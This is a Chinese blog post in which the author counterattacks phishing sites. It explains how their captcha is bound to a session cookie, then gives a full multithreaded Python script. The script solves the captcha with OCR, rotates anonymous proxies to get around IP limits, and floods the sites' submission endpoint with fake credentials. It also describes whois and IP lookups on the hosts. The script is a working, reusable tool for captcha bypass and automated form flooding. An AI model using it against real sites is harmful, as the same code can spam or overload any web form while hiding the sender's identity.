【吃瓜】暴力反击钓鱼邮件,分析网站并提交垃圾数据

转载请注明出处:小锋学长生活大爆炸[xfxuezhagn.cn]

如果本文帮助到了你,欢迎[点赞、收藏、关注]哦~

目录

背景介绍

分析网站

脚本编写

附:网站信息查询


背景介绍

        我实在是受不了了,这些垃圾钓鱼邮件天天发天天发。行,你发我也发,你这么想要,我就给你喂点数据。

分析网站

        一般这种钓鱼网站做的很垃圾,很好分析。这个网站好一点点,还做了一个验证码,不过也是弟弟。

        主页面是http://safe.pattino.net/index.php?rdtrx=202520191457@mail.sb.edu.cn,参数对应到页面很容易看懂是在干什么。

他有很多域名,另外的域名余下,所有逻辑相同:

  • http://safe.mxshoney.net/

        他的验证码是通过http://safe.pattino.net/beiw/randnum.php请求获得的。分析发现,验证码和登录的绑定,是通过cookie进行绑定。所以只需要用同一个cookie请求到验证码图片,再ocr识别,就可以用到登录上了。

        随便写一条假数据进行提交,就可以看到提交表单的内容,没啥特别。

        用postman随便试一下,连ip请求次数限制都没有人家更新了IP限制,不过没关系,我们可以用免费的高匿代理:免费高匿代理

        这里的返回参数,1表示提交成功,2是什么忘了,3是已经提交。

脚本编写

        那就模拟提交数据吧。不过瘾?来点多线程。参考的脚本如下:

import time
import requests
import random
import string
from io import BytesIO
import ddddocr
import threading
from requests.exceptions import ProxyError, ConnectionError, Timeout, HTTPError

def generate_random_session_id(length=32):
    characters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(characters) for _ in range(length))
 
def generate_random_numeric_string(length=12):
    return ''.join(random.choice(string.digits) for _ in range(length))
 
def generate_random_email():
    username_length = random.randint(5, 10)
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(username_length))
    domain = random.choice(['ct', 'nu', 'cu', 'sc'])
    return f"{username}@{domain}.edu.cn"
 
def generate_random_password(length=8):
    return ''.join(random.choice(string.digits) for _ in range(length))


def post(url, yzm, headers, proxies):
    url = f'{url}/save.php'
    data = {
        'typepage': 'cj',
        'sid': '6316',
        'u': generate_random_numeric_string(12),
        'u2': generate_random_email(),
        'p': generate_random_password(8),
        'yzm': yzm
    }
    try:
        resp = requests.post(url, headers=headers, data=data, proxies=proxies, timeout=5)
    except TimeoutError as e:
        return str(e), -1
    except (ProxyError, ConnectionError) as e:
        return str(e), -1
    except Exception as e:
        return str(e), None
    return resp.text, resp.status_code
 
def ping(url):
    try:
        requests.head(url, timeout=5)
    except TimeoutError as e:
        return False
    return True

def get_yzm(url, headers, proxies):
    url = f"{url}/beiw/randnum.php"
    try:
        resp = requests.get(url, headers=headers, proxies=proxies, timeout=5)
    except Exception as e:
        return None
    ocr_result = '9527'
    if resp.status_code == 200:
        image_bytes = BytesIO(resp.content)
        ocr_result = ocr.classification(image_bytes.read()).strip()
    return ocr_result
 
def get_proxy():
    # 这里填免费代理给的API链接,进这里获取:https://www.xiequ.cn/index.html?317df06c
    url = ''  
    resp = requests.get(url).text
    return  {'http': resp, 'https': resp}

 
ocr = ddddocr.DdddOcr(show_ad=False)
host = [
    'http://safe.pattino.net',
    'http://safe.mxshoney.net',
    ]
host_index = 0

def process(rank):
    local_host_index = host_index
    url = host[local_host_index]
    proxies = get_proxy()
    print(f'[{rank}] 当前代理:{proxies}')
    while True:
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'Cookie': f'PHPSESSID={generate_random_session_id()}',
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0'
        }
        yzm = get_yzm(url, headers, proxies)
        resp, code = post(url, yzm, headers, proxies)
        if code==-1 or code==503:
            # local_host_index = (local_host_index + 1) % len(host)
            # url = host[local_host_index]
            # print(f'[{rank}] 连接出错{resp},切换链接:{url}')
            proxies = get_proxy()
            print(f'[{rank}] 连接出错{resp},切换代理:{proxies}')
            time.sleep(1)
        else:
            print(f'提交结果[{code}]:{resp}')
        time.sleep(0.1)
 
if __name__ == "__main__":
    pool = []
    for i in range(8):
        t = threading.Thread(target=process, args=(i,), daemon=True)
        t.start()
        pool.append(t)
 
    for t in pool:
        t.join()

        安装一下库:

pip install requests ddddocr

        跑起来吧:

附:网站信息查询

        多说几句。拿到这个网站,我们可以初步搜一搜他的相关信息。

        比如,http://safe.pattino.net/他是一个子域名,正常来说真正的域名是pattino.net,不过发现打开直接啥也没有,

        

        whois查一下域名信息:whois信息_whois查询-拨测

        再看一下域名对应的IP。可以看到用的香港的服务器:IP/服务器-站长工具

        

        顺便看一下IP的精准定位。厉害哦,还能检测出来这是恶意IP,很难不进我的收藏夹:IP Geolocation Lookup

        看一下这个IP有哪些攻击行为:Threat Intelligence Lookup

        

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小锋学长生活大爆炸

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值